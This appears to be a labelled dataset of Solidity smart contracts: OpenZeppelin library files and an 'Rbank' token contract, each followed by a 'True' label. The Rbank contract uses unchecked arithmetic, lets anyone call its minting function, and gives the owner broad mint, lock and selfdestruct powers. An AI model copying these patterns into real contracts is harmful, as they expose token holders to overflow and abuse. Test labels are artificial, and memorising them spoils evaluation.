* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
|
True
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pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address private Owner;
function Owned() public{
Owner = msg.sender;
}
function IsOwner(address addr) view public returns(bool)
{
return Owner == addr;
}
function TransferOwner(address newOwner) public onlyOwner
{
Owner = newOwner;
}
function Terminate() public onlyOwner
{
selfdestruct(Owner);
}
modifier onlyOwner(){
require(msg.sender == Owner);
_;
}
}
contract Rbank is Owned {
using SafeMath for uint256;
string public constant name = "RichBank";
string public constant symbol = "Rbank";
uint256 public constant decimals = 18; // 18 is the most common number of decimal places
bool private tradeable;
uint256 private currentSupply;
mapping(address => uint256) private balances;
mapping(address => mapping(address=> uint256)) private allowed;
mapping(address => bool) private lockedAccounts;
/*
Incoming Ether
*/
event ReceivedEth(address indexed _from, uint256 _value);
//this is the fallback
function () payable public {
emit ReceivedEth(msg.sender, msg.value);
}
event TransferredEth(address indexed _to, uint256 _value);
function FoundationTransfer(address _to, uint256 amtEth, uint256 amtToken) public onlyOwner
{
require(address(this).balance >= amtEth && balances[this] >= amtToken );
if(amtEth >0)
{
_to.transfer(amtEth);
emit TransferredEth(_to, amtEth);
}
if(amtToken > 0)
{
require(balances[_to] + amtToken > balances[_to]);
balances[this] -= amtToken;
balances[_to] += amtToken;
emit Transfer(this, _to, amtToken);
}
}
/*
End Incoming Ether
*/
function Rbank( ) public
{
uint256 initialTotalSupply = 500000000;
balances[this] = initialTotalSupply * (10**decimals);
currentSupply = initialTotalSupply * (10**decimals);
emit Transfer(address(0), this, currentSupply);
}
uint256 constant startTime = 1525132800; // Date.UTC(2018, 8, 9) as seconds
uint256 constant startAmt = 95000000;
uint256 _lastDayPaid = 0;
uint256 _currentMonth = 0;
uint256 factor = 10000000;
event DayMinted(uint256 day,uint256 val, uint256 now);
function DailyMint() public {
uint256 day = (now-startTime)/(60*60*24);
require(startTime <= now);
require(day >= _lastDayPaid);
uint256 month = _lastDayPaid/30;
if(month > _currentMonth){
_currentMonth += 1;
factor = (factor * 99)/100;
}
uint256 todaysPayout = (((factor * startAmt )/10000000)/30)* (10**decimals);
balances[this] +=todaysPayout;
currentSupply += todaysPayout;
emit Transfer(address(0), this, todaysPayout);
emit DayMinted(_lastDayPaid, todaysPayout, now);
_lastDayPaid+=1;
}
function lastDayPaid() public view returns(uint256){
return _lastDayPaid;
}
function MintToken(uint256 amt) public onlyOwner {
currentSupply += amt;
balances[this] += amt;
emit Transfer(address(0), this, amt);
}
function DestroyToken(uint256 amt) public onlyOwner {
require ( balances[this] >= amt);
currentSupply -= amt;
balances[this] -= amt;
emit Transfer(this,address(0), amt);
}
event SoldToken(address _buyer, uint256 _value, string note);
function BuyToken(address _buyer, uint256 _value, string note) public onlyOwner
{
require(balances[this] >= _value && balances[_buyer] + _value > balances[_buyer]);
emit SoldToken( _buyer, _value, note);
balances[this] -= _value;
balances[_buyer] += _value;
emit Transfer(this, _buyer, _value);
}
function LockAccount(address toLock) public onlyOwner
{
lockedAccounts[toLock] = true;
}
function UnlockAccount(address toUnlock) public onlyOwner
{
delete lockedAccounts[toUnlock];
}
function SetTradeable(bool t) public onlyOwner
{
tradeable = t;
}
function IsTradeable() public view returns(bool)
{
return tradeable;
}
function totalSupply() constant public returns (uint256)
{
return currentSupply;
}
function balanceOf(address _owner) constant public returns (uint256 balance)
{
return balances[_owner];
}
function transfer(address _to, uint256 _value) public notLocked returns (bool success) {
require(tradeable);
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
emit Transfer( msg.sender, _to, _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint _value)public notLocked returns (bool success) {
require(!lockedAccounts[_from] && !lockedAccounts[_to]);
require(tradeable);
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& balances[_to] + _value > balances[_to]) {
emit Transfer( _from, _to, _value);
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
return true;
} else {
return false;
}
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
modifier notLocked(){
require (!lockedAccounts[msg.sender]);
_;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-12-03
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
